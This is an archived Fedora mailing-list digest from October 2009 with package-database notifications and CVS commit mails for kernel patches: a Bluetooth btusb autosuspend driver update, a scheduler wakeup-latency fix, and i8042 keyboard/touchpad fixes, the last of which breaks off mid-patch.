From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 12:37:34 +0000
Subject: [pkgdb] mesa: turki has requested watchcommits
Message-ID: <20091017123734.78A0810F87F@bastion2.fedora.phx.redhat.com>

turki has requested the watchcommits acl on mesa (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mesa



From pkgdb at fedoraproject.org  Sat Oct 17 12:37:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 12:37:56 +0000
Subject: [pkgdb] mesa: turki has requested watchcommits
Message-ID: <20091017123756.4635A10F85A@bastion2.fedora.phx.redhat.com>

turki has requested the watchcommits acl on mesa (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mesa



From cebbert at fedoraproject.org  Sat Oct 17 12:53:09 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 12:53:09 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec, 1.1872,
	1.1873 linux-2.6-bluetooth-autosuspend.diff, 1.2, 1.3
Message-ID: <20091017125309.4DBA411C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15041

Modified Files:
	kernel.spec linux-2.6-bluetooth-autosuspend.diff 
Log Message:
Replace linux-2.6-bluetooth-autosuspend.diff with upstream version.


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1872
retrieving revision 1.1873
diff -u -p -r1.1872 -r1.1873
--- kernel.spec	16 Oct 2009 17:04:02 -0000	1.1872
+++ kernel.spec	17 Oct 2009 12:53:08 -0000	1.1873
@@ -2067,6 +2067,9 @@ fi
 # and build.
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>
+- Replace linux-2.6-bluetooth-autosuspend.diff with upstream version.
+
 * Fri Oct 16 2009 Josef Bacik <josef at toxicpanda.com>
 - Update btrfs to latest upstream
 

linux-2.6-bluetooth-autosuspend.diff:
 btusb.c |  194 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 174 insertions(+), 20 deletions(-)

Index: linux-2.6-bluetooth-autosuspend.diff
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/linux-2.6-bluetooth-autosuspend.diff,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- linux-2.6-bluetooth-autosuspend.diff	10 Aug 2009 04:13:28 -0000	1.2
+++ linux-2.6-bluetooth-autosuspend.diff	17 Oct 2009 12:53:08 -0000	1.3
@@ -1,7 +1,43 @@
+From: Oliver Neukum <oliver at neukum.org>
+Date: Mon, 24 Aug 2009 21:44:59 +0000 (+0200)
+Subject: Bluetooth: Add USB autosuspend support to btusb driver
+X-Git-Tag: v2.6.32-rc1~703^2~221^2~4
+X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=7bee549e197c9c0e92b89857a409675c1d5e9dff
+
+Bluetooth: Add USB autosuspend support to btusb driver
+
+This patch adds support of USB autosuspend to the btusb driver.
+
+If the device doesn't support remote wakeup, simple support based on
+up/down is provided. If the device supports remote wakeup, additional
+support for autosuspend while the interface is up is provided. This is
+done by queueing URBs in an anchor structure and waking the device up
+from a work queue on sending. Reception triggers remote wakeup.
+
+The last busy facility of the USB autosuspend code is used. To close
+a race between autosuspend and transmission, a counter of ongoing
+transmissions is maintained.
+
+Add #ifdefs for CONFIG_PM as necessary.
+
+Signed-off-by: Oliver Neukum <oliver at neukum.org>
+Tested-by: Sarah Sharp <sarah.a.sharp at linux.intel.com>
+Signed-off-by: Marcel Holtmann <marcel at holtmann.org>
+---
+
 diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c
-index e70c57e..ac94f91 100644
+index 124db8c..7ba91aa 100644
 --- a/drivers/bluetooth/btusb.c
 +++ b/drivers/bluetooth/btusb.c
+@@ -35,7 +35,7 @@
+ #include <net/bluetooth/bluetooth.h>
+ #include <net/bluetooth/hci_core.h>
+ 
+-#define VERSION "0.5"
++#define VERSION "0.6"
+ 
+ static int ignore_dga;
+ static int ignore_csr;
 @@ -145,6 +145,7 @@ static struct usb_device_id blacklist_table[] = {
  #define BTUSB_INTR_RUNNING	0
  #define BTUSB_BULK_RUNNING	1
@@ -10,7 +46,7 @@ index e70c57e..ac94f91 100644
  
  struct btusb_data {
  	struct hci_dev       *hdev;
-@@ -157,11 +158,13 @@ struct btusb_data {
+@@ -157,11 +158,15 @@ struct btusb_data {
  	unsigned long flags;
  
  	struct work_struct work;
@@ -21,47 +57,44 @@ index e70c57e..ac94f91 100644
  	struct usb_anchor bulk_anchor;
  	struct usb_anchor isoc_anchor;
 +	struct usb_anchor deferred;
++	int tx_in_flight;
++	spinlock_t txlock;
  
  	struct usb_endpoint_descriptor *intr_ep;
  	struct usb_endpoint_descriptor *bulk_tx_ep;
-@@ -174,6 +177,7 @@ struct btusb_data {
+@@ -174,8 +179,23 @@ struct btusb_data {
  	unsigned int sco_num;
  	int isoc_altsetting;
  	int suspend_count;
 +	int did_iso_resume:1;
  };
  
++static int inc_tx(struct btusb_data *data)
++{
++	unsigned long flags;
++	int rv;
++
++	spin_lock_irqsave(&data->txlock, flags);
++	rv = test_bit(BTUSB_SUSPENDING, &data->flags);
++	if (!rv)
++		data->tx_in_flight++;
++	spin_unlock_irqrestore(&data->txlock, flags);
++
++	return rv;
++}
++
  static void btusb_intr_complete(struct urb *urb)
-@@ -202,6 +206,10 @@ static void btusb_intr_complete(struct urb *urb)
+ {
+ 	struct hci_dev *hdev = urb->context;
+@@ -202,6 +222,7 @@ static void btusb_intr_complete(struct urb *urb)
  	if (!test_bit(BTUSB_INTR_RUNNING, &data->flags))
  		return;
  
-+	if (test_bit(BTUSB_SUSPENDING, &data->flags))
-+		return;
-+
 +	usb_mark_last_busy(data->udev);
  	usb_anchor_urb(urb, &data->intr_anchor);
  
  	err = usb_submit_urb(urb, GFP_ATOMIC);
-@@ -285,6 +293,9 @@ static void btusb_bulk_complete(struct urb *urb)
- 	if (!test_bit(BTUSB_BULK_RUNNING, &data->flags))
- 		return;
- 
-+	if (test_bit(BTUSB_SUSPENDING, &data->flags))
-+		return;
-+
- 	usb_anchor_urb(urb, &data->bulk_anchor);
- 
- 	err = usb_submit_urb(urb, GFP_ATOMIC);
-@@ -320,6 +331,7 @@ static int btusb_submit_bulk_urb(struct hci_dev *hdev, gfp_t mem_flags)
- 		return -ENOMEM;
- 	}
- 
-+	usb_mark_last_busy(data->udev);
- 	pipe = usb_rcvbulkpipe(data->udev, data->bulk_rx_ep->bEndpointAddress);
- 
- 	usb_fill_bulk_urb(urb, data->udev, pipe,
-@@ -327,6 +339,7 @@ static int btusb_submit_bulk_urb(struct hci_dev *hdev, gfp_t mem_flags)
+@@ -325,6 +346,7 @@ static int btusb_submit_bulk_urb(struct hci_dev *hdev, gfp_t mem_flags)
  
  	urb->transfer_flags |= URB_FREE_BUFFER;
  
@@ -69,30 +102,72 @@ index e70c57e..ac94f91 100644
  	usb_anchor_urb(urb, &data->bulk_anchor);
  
  	err = usb_submit_urb(urb, mem_flags);
-@@ -375,6 +388,9 @@ static void btusb_isoc_complete(struct urb *urb)
- 	if (!test_bit(BTUSB_ISOC_RUNNING, &data->flags))
- 		return;
- 
-+	if (test_bit(BTUSB_SUSPENDING, &data->flags))
-+		return;
+@@ -463,6 +485,33 @@ static void btusb_tx_complete(struct urb *urb)
+ {
+ 	struct sk_buff *skb = urb->context;
+ 	struct hci_dev *hdev = (struct hci_dev *) skb->dev;
++	struct btusb_data *data = hdev->driver_data;
++
++	BT_DBG("%s urb %p status %d count %d", hdev->name,
++					urb, urb->status, urb->actual_length);
++
++	if (!test_bit(HCI_RUNNING, &hdev->flags))
++		goto done;
++
++	if (!urb->status)
++		hdev->stat.byte_tx += urb->transfer_buffer_length;
++	else
++		hdev->stat.err_tx++;
++
++done:
++	spin_lock(&data->txlock);
++	data->tx_in_flight--;
++	spin_unlock(&data->txlock);
++
++	kfree(urb->setup_packet);
++
++	kfree_skb(skb);
++}
 +
- 	usb_anchor_urb(urb, &data->isoc_anchor);
++static void btusb_isoc_tx_complete(struct urb *urb)
++{
++	struct sk_buff *skb = urb->context;
++	struct hci_dev *hdev = (struct hci_dev *) skb->dev;
  
- 	err = usb_submit_urb(urb, GFP_ATOMIC);
-@@ -490,6 +506,12 @@ static int btusb_open(struct hci_dev *hdev)
+ 	BT_DBG("%s urb %p status %d count %d", hdev->name,
+ 					urb, urb->status, urb->actual_length);
+@@ -488,11 +537,17 @@ static int btusb_open(struct hci_dev *hdev)
  
  	BT_DBG("%s", hdev->name);
  
 +	err = usb_autopm_get_interface(data->intf);
 +	if (err < 0)
 +		return err;
++
 +	data->intf->needs_remote_wakeup = 1;
-+	usb_autopm_put_interface(data->intf);
 +
  	if (test_and_set_bit(HCI_RUNNING, &hdev->flags))
- 		return 0;
+-		return 0;
++		goto done;
+ 
+ 	if (test_and_set_bit(BTUSB_INTR_RUNNING, &data->flags))
+-		return 0;
++		goto done;
+ 
+ 	err = btusb_submit_intr_urb(hdev, GFP_KERNEL);
+ 	if (err < 0)
+@@ -507,17 +562,28 @@ static int btusb_open(struct hci_dev *hdev)
+ 	set_bit(BTUSB_BULK_RUNNING, &data->flags);
+ 	btusb_submit_bulk_urb(hdev, GFP_KERNEL);
+ 
++done:
++	usb_autopm_put_interface(data->intf);
+ 	return 0;
  
-@@ -517,9 +539,17 @@ failed:
+ failed:
+ 	clear_bit(BTUSB_INTR_RUNNING, &data->flags);
+ 	clear_bit(HCI_RUNNING, &hdev->flags);
++	usb_autopm_put_interface(data->intf);
  	return err;
  }
  
@@ -110,7 +185,7 @@ index e70c57e..ac94f91 100644
  
  	BT_DBG("%s", hdev->name);
  
-@@ -529,13 +559,15 @@ static int btusb_close(struct hci_dev *hdev)
+@@ -527,13 +593,16 @@ static int btusb_close(struct hci_dev *hdev)
  	cancel_work_sync(&data->work);
  
  	clear_bit(BTUSB_ISOC_RUNNING, &data->flags);
@@ -121,82 +196,84 @@ index e70c57e..ac94f91 100644
 -
  	clear_bit(BTUSB_INTR_RUNNING, &data->flags);
 -	usb_kill_anchored_urbs(&data->intr_anchor);
-+	btusb_stop_traffic(data);
 +
++	btusb_stop_traffic(data);
 +	err = usb_autopm_get_interface(data->intf);
-+	if (!err) {
-+		data->intf->needs_remote_wakeup = 0;
-+		usb_autopm_put_interface(data->intf);
-+	}
++	if (err < 0)
++		return 0;
++
++	data->intf->needs_remote_wakeup = 0;
++	usb_autopm_put_interface(data->intf);
  
  	return 0;
  }
-@@ -558,7 +590,7 @@ static int btusb_send_frame(struct sk_buff *skb)
- 	struct usb_ctrlrequest *dr;
- 	struct urb *urb;
- 	unsigned int pipe;
--	int err;
-+	int err, susp;
- 
- 	BT_DBG("%s", hdev->name);
+@@ -620,7 +689,7 @@ static int btusb_send_frame(struct sk_buff *skb)
+ 		urb->dev      = data->udev;
+ 		urb->pipe     = pipe;
+ 		urb->context  = skb;
+-		urb->complete = btusb_tx_complete;
++		urb->complete = btusb_isoc_tx_complete;
+ 		urb->interval = data->isoc_tx_ep->bInterval;
+ 
+ 		urb->transfer_flags  = URB_ISO_ASAP;
+@@ -631,12 +700,21 @@ static int btusb_send_frame(struct sk_buff *skb)
+ 				le16_to_cpu(data->isoc_tx_ep->wMaxPacketSize));
+ 
+ 		hdev->stat.sco_tx++;
+-		break;
++		goto skip_waking;
  
-@@ -567,6 +599,7 @@ static int btusb_send_frame(struct sk_buff *skb)
- 
- 	switch (bt_cb(skb)->pkt_type) {
- 	case HCI_COMMAND_PKT:
-+		BT_DBG("HCI_COMMAND_PKT");
- 		urb = usb_alloc_urb(0, GFP_ATOMIC);
- 		if (!urb)
- 			return -ENOMEM;
-@@ -592,6 +625,7 @@ static int btusb_send_frame(struct sk_buff *skb)
- 		break;
- 
- 	case HCI_ACLDATA_PKT:
-+		BT_DBG("HCI_ACLDATA_PKT");
- 		if (!data->bulk_tx_ep || hdev->conn_hash.acl_num < 1)
- 			return -ENODEV;
- 
-@@ -609,6 +643,7 @@ static int btusb_send_frame(struct sk_buff *skb)
- 		break;
- 
- 	case HCI_SCODATA_PKT:
-+		BT_DBG("HCI_SCODATA_PKT");
- 		if (!data->isoc_tx_ep || hdev->conn_hash.sco_num < 1)
- 			return -ENODEV;
- 
-@@ -639,17 +674,22 @@ static int btusb_send_frame(struct sk_buff *skb)
+ 	default:
  		return -EILSEQ;
  	}
  
-+	spin_lock(&data->lock);
-+	susp = test_bit(BTUSB_SUSPENDING, &data->flags);
- 	usb_anchor_urb(urb, &data->tx_anchor);
--
--	err = usb_submit_urb(urb, GFP_ATOMIC);
--	if (err < 0) {
--		BT_ERR("%s urb %p submission failed", hdev->name, urb);
--		kfree(urb->setup_packet);
--		usb_unanchor_urb(urb);
-+	if (susp) {
++	err = inc_tx(data);
++	if (err) {
++		usb_anchor_urb(urb, &data->deferred);
 +		schedule_work(&data->waker);
 +		err = 0;
++		goto done;
++	}
++
++skip_waking:
+ 	usb_anchor_urb(urb, &data->tx_anchor);
+ 
+ 	err = usb_submit_urb(urb, GFP_ATOMIC);
+@@ -644,10 +722,13 @@ static int btusb_send_frame(struct sk_buff *skb)
+ 		BT_ERR("%s urb %p submission failed", hdev->name, urb);
+ 		kfree(urb->setup_packet);
+ 		usb_unanchor_urb(urb);
 +	} else {
-+		err = usb_submit_urb(urb, GFP_ATOMIC);
-+		if (err < 0) {
-+			BT_ERR("%s urb %p submission failed", hdev->name, urb);
-+			kfree(urb->setup_packet);
-+			usb_unanchor_urb(urb);
-+		}
-+		usb_free_urb(urb);
++		usb_mark_last_busy(data->udev);
  	}
--
--	usb_free_urb(urb);
--
-+	spin_unlock(&data->lock);
+ 
+ 	usb_free_urb(urb);
+ 
++done:
  	return err;
  }
  
-@@ -742,9 +782,26 @@ static void btusb_work(struct work_struct *work)
+@@ -719,8 +800,19 @@ static void btusb_work(struct work_struct *work)
+ {
+ 	struct btusb_data *data = container_of(work, struct btusb_data, work);
+ 	struct hci_dev *hdev = data->hdev;
++	int err;
+ 
+ 	if (hdev->conn_hash.sco_num > 0) {
++		if (!data->did_iso_resume) {
++			err = usb_autopm_get_interface(data->isoc);
++			if (err < 0) {
++				clear_bit(BTUSB_ISOC_RUNNING, &data->flags);
++				usb_kill_anchored_urbs(&data->isoc_anchor);
++				return;
++			}
++
++			data->did_iso_resume = 1;
++		}
+ 		if (data->isoc_altsetting != 2) {
+ 			clear_bit(BTUSB_ISOC_RUNNING, &data->flags);
+ 			usb_kill_anchored_urbs(&data->isoc_anchor);
+@@ -740,9 +832,25 @@ static void btusb_work(struct work_struct *work)
  		usb_kill_anchored_urbs(&data->isoc_anchor);
  
  		__set_isoc_interface(hdev, 0);
@@ -212,22 +289,22 @@ index e70c57e..ac94f91 100644
 +	struct btusb_data *data = container_of(work, struct btusb_data, waker);
 +	int err;
 +
-+	BUG_ON(data == NULL);
-+	BT_DBG("about to resume");
-+	BUG_ON(data->intf == NULL);
 +	err = usb_autopm_get_interface(data->intf);
-+	if (!err)
-+		usb_autopm_put_interface(data->intf);
++	if (err < 0)
++		return;
++
++	usb_autopm_put_interface(data->intf);
 +}
 +
  static int btusb_probe(struct usb_interface *intf,
  				const struct usb_device_id *id)
  {
-@@ -814,11 +871,13 @@ static int btusb_probe(struct usb_interface *intf,
+@@ -812,11 +920,14 @@ static int btusb_probe(struct usb_interface *intf,
  	spin_lock_init(&data->lock);
  
  	INIT_WORK(&data->work, btusb_work);
 +	INIT_WORK(&data->waker, btusb_waker);
++	spin_lock_init(&data->txlock);
  
  	init_usb_anchor(&data->tx_anchor);
  	init_usb_anchor(&data->intr_anchor);
@@ -237,15 +314,7 @@ index e70c57e..ac94f91 100644
  
  	hdev = hci_alloc_dev();
  	if (!hdev) {
-@@ -908,6 +967,7 @@ static int btusb_probe(struct usb_interface *intf,
- 	}
- 
- 	usb_set_intfdata(intf, data);
-+	usb_device_autosuspend_enable(data->udev);
- 
- 	return 0;
- }
-@@ -943,73 +1003,118 @@ static void btusb_disconnect(struct usb_interface *intf)
+@@ -941,6 +1052,7 @@ static void btusb_disconnect(struct usb_interface *intf)
  	hci_free_dev(hdev);
  }
  
@@ -253,129 +322,106 @@ index e70c57e..ac94f91 100644
  static int btusb_suspend(struct usb_interface *intf, pm_message_t message)
  {
  	struct btusb_data *data = usb_get_intfdata(intf);
- 
--	BT_DBG("intf %p", intf);
-+	BT_DBG("%s called\n", __func__);
- 
+@@ -950,22 +1062,44 @@ static int btusb_suspend(struct usb_interface *intf, pm_message_t message)
  	if (data->suspend_count++)
  		return 0;
  
--	cancel_work_sync(&data->work);
-+	spin_lock_irq(&data->lock);
-+	if (interface_to_usbdev(intf)->auto_pm &&
-+		!usb_anchor_empty(&data->tx_anchor)) {
-+		spin_unlock_irq(&data->lock);
++	spin_lock_irq(&data->txlock);
++	if (!(interface_to_usbdev(intf)->auto_pm && data->tx_in_flight)) {
++		set_bit(BTUSB_SUSPENDING, &data->flags);
++		spin_unlock_irq(&data->txlock);
++	} else {
++		spin_unlock_irq(&data->txlock);
++		data->suspend_count--;
 +		return -EBUSY;
 +	}
 +
-+	set_bit(BTUSB_SUSPENDING, &data->flags);
-+	spin_unlock_irq(&data->lock);
+ 	cancel_work_sync(&data->work);
  
-+	cancel_work_sync(&data->work);
 +	btusb_stop_traffic(data);
  	usb_kill_anchored_urbs(&data->tx_anchor);
-+	return 0;
-+}
  
 -	usb_kill_anchored_urbs(&data->isoc_anchor);
 -	usb_kill_anchored_urbs(&data->bulk_anchor);
 -	usb_kill_anchored_urbs(&data->intr_anchor);
-+static int play_deferred(struct btusb_data *data)
+-
+ 	return 0;
+ }
+ 
++static void play_deferred(struct btusb_data *data)
 +{
 +	struct urb *urb;
-+	int err = 0;
- 
--	return 0;
-+	while ((urb = usb_get_from_anchor(&data->tx_anchor))) {
++	int err;
++
++	while ((urb = usb_get_from_anchor(&data->deferred))) {
 +		err = usb_submit_urb(urb, GFP_ATOMIC);
 +		if (err < 0)
 +			break;
-+	}
 +
-+	usb_scuttle_anchored_urbs(&data->tx_anchor);
-+	return err;
- }
- 
++		data->tx_in_flight++;
++	}
++	usb_scuttle_anchored_urbs(&data->deferred);
++}
 +
  static int btusb_resume(struct usb_interface *intf)
  {
  	struct btusb_data *data = usb_get_intfdata(intf);
  	struct hci_dev *hdev = data->hdev;
 -	int err;
--
--	BT_DBG("intf %p", intf);
-+	int ret = 0;
++	int err = 0;
  
- 	if (--data->suspend_count)
+ 	BT_DBG("intf %p", intf);
+ 
+@@ -973,13 +1107,13 @@ static int btusb_resume(struct usb_interface *intf)
  		return 0;
  
--	if (!test_bit(HCI_RUNNING, &hdev->flags))
+ 	if (!test_bit(HCI_RUNNING, &hdev->flags))
 -		return 0;
-+	if (test_bit(HCI_RUNNING, &hdev->flags)) {
-+		spin_lock_irq(&data->lock);
-+		ret = play_deferred(data);
-+		clear_bit(BTUSB_SUSPENDING, &data->flags);
-+		spin_unlock_irq(&data->lock);
- 
--	if (test_bit(BTUSB_INTR_RUNNING, &data->flags)) {
--		err = btusb_submit_intr_urb(hdev, GFP_NOIO);
--		if (err < 0) {
--			clear_bit(BTUSB_INTR_RUNNING, &data->flags);
++		goto done;
+ 
+ 	if (test_bit(BTUSB_INTR_RUNNING, &data->flags)) {
+ 		err = btusb_submit_intr_urb(hdev, GFP_NOIO);
+ 		if (err < 0) {
+ 			clear_bit(BTUSB_INTR_RUNNING, &data->flags);
 -			return err;
-+		if (ret < 0) {
-+			clear_bit(HCI_RUNNING, &hdev->flags);
-+			return ret;
++			goto failed;
  		}
-+
-+		ret = btusb_submit_intr_urb(hdev, GFP_NOIO);
-+		if (ret < 0) {
-+			clear_bit(HCI_RUNNING, &hdev->flags);
-+			return ret;
-+		}
-+	} else {
-+		spin_lock_irq(&data->lock);
-+		clear_bit(BTUSB_SUSPENDING, &data->flags);
-+		spin_unlock_irq(&data->lock);
  	}
  
--	if (test_bit(BTUSB_BULK_RUNNING, &data->flags)) {
--		err = btusb_submit_bulk_urb(hdev, GFP_NOIO);
--		if (err < 0) {
-+	if (hdev->conn_hash.acl_num > 0) {
-+		ret = btusb_submit_bulk_urb(hdev, GFP_NOIO);
-+		if (ret < 0) {
+@@ -987,9 +1121,10 @@ static int btusb_resume(struct usb_interface *intf)
+ 		err = btusb_submit_bulk_urb(hdev, GFP_NOIO);
+ 		if (err < 0) {
  			clear_bit(BTUSB_BULK_RUNNING, &data->flags);
 -			return err;
 -		} else
 -			btusb_submit_bulk_urb(hdev, GFP_NOIO);
-+			return ret;
-+		} else {
-+			ret = btusb_submit_bulk_urb(hdev, GFP_NOIO);
-+			if (ret < 0) {
-+				clear_bit(BTUSB_BULK_RUNNING, &data->flags);
-+				usb_kill_anchored_urbs(&data->bulk_anchor);
-+				return ret;
-+			}
++			goto failed;
 +		}
++
++		btusb_submit_bulk_urb(hdev, GFP_NOIO);
  	}
  
--	if (test_bit(BTUSB_ISOC_RUNNING, &data->flags)) {
--		if (btusb_submit_isoc_urb(hdev, GFP_NOIO) < 0)
--			clear_bit(BTUSB_ISOC_RUNNING, &data->flags);
--		else
--			btusb_submit_isoc_urb(hdev, GFP_NOIO);
-+	if (data->isoc) {
-+		if (test_bit(BTUSB_ISOC_RUNNING, &data->flags)) {
-+			ret = btusb_submit_isoc_urb(hdev, GFP_NOIO);
-+			if (ret < 0)
-+				clear_bit(BTUSB_ISOC_RUNNING, &data->flags);
-+			else
-+				btusb_submit_isoc_urb(hdev, GFP_NOIO);
-+		}
+ 	if (test_bit(BTUSB_ISOC_RUNNING, &data->flags)) {
+@@ -999,16 +1134,35 @@ static int btusb_resume(struct usb_interface *intf)
+ 			btusb_submit_isoc_urb(hdev, GFP_NOIO);
  	}
  
++	spin_lock_irq(&data->txlock);
++	play_deferred(data);
++	clear_bit(BTUSB_SUSPENDING, &data->flags);
++	spin_unlock_irq(&data->txlock);
 +	schedule_work(&data->work);
++
  	return 0;
++
++failed:
++	usb_scuttle_anchored_urbs(&data->deferred);
++done:
++	spin_lock_irq(&data->txlock);
++	clear_bit(BTUSB_SUSPENDING, &data->flags);
++	spin_unlock_irq(&data->txlock);
++
++	return err;
  }
 +#endif
  
@@ -386,8 +432,9 @@ index e70c57e..ac94f91 100644
 +#ifdef CONFIG_PM
  	.suspend	= btusb_suspend,
  	.resume		= btusb_resume,
-+	.supports_autosuspend = 1,
 +#endif
  	.id_table	= btusb_table,
++	.supports_autosuspend = 1,
  };
  
+ static int __init btusb_init(void)



From cebbert at fedoraproject.org  Sat Oct 17 12:59:19 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 12:59:19 +0000 (UTC)
Subject: rpms/kernel/F-11
	sched-update-the-clock-of-runqueue-select-task-rq-selected.patch,
	NONE, 1.1 kernel.spec, 1.1766, 1.1767
Message-ID: <20091017125919.6169711C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16465

Modified Files:
	kernel.spec 
Added Files:
	sched-update-the-clock-of-runqueue-select-task-rq-selected.patch 
Log Message:
Scheduler wakeup patch, fixes high latency on wakeup
  (sched-update-the-clock-of-runqueue-select-task-rq-selected.patch)

sched-update-the-clock-of-runqueue-select-task-rq-selected.patch:
 sched.c |    6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

--- NEW FILE sched-update-the-clock-of-runqueue-select-task-rq-selected.patch ---
From: Mike Galbraith <efault at gmx.de>
Date: Fri, 9 Oct 2009 06:35:03 +0000 (+0200)
Subject: sched: Update the clock of runqueue select_task_rq() selected
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=f5dc375

sched: Update the clock of runqueue select_task_rq() selected

[ backport to 2.6.3[01] : <cebbert at redhat.com> ]

In try_to_wake_up(), we update the runqueue clock, but
select_task_rq() may select a different runqueue than the one we
updated, leaving the new runqueue's clock stale for a bit.

This patch cures occasional huge latencies reported by latencytop
when coming out of idle on a mostly idle NO_HZ box.

Signed-off-by: Mike Galbraith <efault at gmx.de>
Signed-off-by: Peter Zijlstra <a.p.zijlstra at chello.nl>
LKML-Reference: <1255070103.7639.30.camel at marge.simson.net>
Signed-off-by: Ingo Molnar <mingo at elte.hu>
---

diff a/kernel/sched.c b/kernel/sched.c
--- a/kernel/sched.c
+++ b/kernel/sched.c
@@ -2344,7 +2344,7 @@ static int try_to_wake_up(struct task_st
 	int cpu, orig_cpu, this_cpu, success = 0;
 	unsigned long flags;
 	long old_state;
-	struct rq *rq;
+	struct rq *rq, *orig_rq;
 
 	if (!sched_feat(SYNC_WAKEUPS))
 		sync = 0;
@@ -2366,7 +2366,7 @@ static int try_to_wake_up(struct task_st
 #endif
 
 	smp_wmb();
-	rq = task_rq_lock(p, &flags);
+	rq = orig_rq = task_rq_lock(p, &flags);
 	update_rq_clock(rq);
 	old_state = p->state;
 	if (!(old_state & state))
@@ -2389,6 +2389,8 @@ static int try_to_wake_up(struct task_st
 		task_rq_unlock(rq, &flags);
 		/* might preempt at this point */
 		rq = task_rq_lock(p, &flags);
+		if (rq != orig_rq)
+			update_rq_clock(rq);
 		old_state = p->state;
 		if (!(old_state & state))
 			goto out;


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1766
retrieving revision 1.1767
diff -u -p -r1.1766 -r1.1767
--- kernel.spec	16 Oct 2009 11:00:06 -0000	1.1766
+++ kernel.spec	17 Oct 2009 12:59:18 -0000	1.1767
@@ -806,6 +806,8 @@ Patch15900: ax25-fix-possible-oops-in-ax
 # netlink security fix (CVE-2009-3612)
 Patch16000: netlink-fix-typo-in-initialization.patch
 
+Patch16200: sched-update-the-clock-of-runqueue-select-task-rq-selected.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1509,6 +1511,8 @@ ApplyPatch ax25-fix-possible-oops-in-ax2
 # netlink security fix (CVE-2009-3612)
 ApplyPatch netlink-fix-typo-in-initialization.patch
 
+ApplyPatch sched-update-the-clock-of-runqueue-select-task-rq-selected.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2097,6 +2101,10 @@ fi
 # and build.
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-88
+- Scheduler wakeup patch, fixes high latency on wakeup
+  (sched-update-the-clock-of-runqueue-select-task-rq-selected.patch)
+
 * Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-87
 - Fix uninitialized data leak in netlink (CVE-2009-3612)
 



From cebbert at fedoraproject.org  Sat Oct 17 13:18:08 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 13:18:08 +0000 (UTC)
Subject: rpms/kernel/F-11
	input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch, NONE,
	1.1 input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch,
	NONE, 1.1 kernel.spec, 1.1767, 1.1768
Message-ID: <20091017131808.2252211C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18621

Modified Files:
	kernel.spec 
Added Files:
	input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch 
	input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch 
Log Message:
Keyboard and mouse fixes from 2.6.32 (#522126)

input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch:
 i8042-x86ia64io.h |   33 +++++++++++++++++++++++++++++++++
 i8042.c           |    4 +++-
 2 files changed, 36 insertions(+), 1 deletion(-)

--- NEW FILE input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch ---
From: Dmitry Torokhov <dmitry.torokhov at gmail.com>
Date: Fri, 4 Sep 2009 04:45:34 +0000 (-0700)
Subject: Input: i8042 - bypass AUX IRQ delivery test on laptops
X-Git-Tag: v2.6.32-rc1~686^2^2~8
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=1c7827ae70e7c8456e08f7bb9ef2238d27814cbe

Input: i8042 - bypass AUX IRQ delivery test on laptops

It seems that many laptops do not fully implement AUX LOOP command in
their keyboard controllers, causing issues with touchpad detection.
We know however that almost every laptop/portable uses a PS/2 pointing
device and, even if user disables it in favor of an external mouse,
the system will not use IRQ 12 for anything else. Therefore we may
bypass AUX IRQ delivery test when running on a laptop and assume that
it is routed properly.

Just to be safe we require the box to have good PNP data in order to
bypass the test.

[Jin Dongming <jin.dongming at np.css.fujitsu.com>: fix crash caused
 by missing terminator in the DMI table]

Signed-off-by: Dmitry Torokhov <dtor at mail.ru>
---

diff --git a/drivers/input/serio/i8042-x86ia64io.h b/drivers/input/serio/i8042-x86ia64io.h
index ae04d8a..66829a8 100644
--- a/drivers/input/serio/i8042-x86ia64io.h
+++ b/drivers/input/serio/i8042-x86ia64io.h
@@ -449,6 +449,34 @@ static struct dmi_system_id __initdata i8042_dmi_nopnp_table[] = {
 	},
 	{ }
 };
+
+static struct dmi_system_id __initdata i8042_dmi_laptop_table[] = {
+	{
+		.ident = "Portable",
+		.matches = {
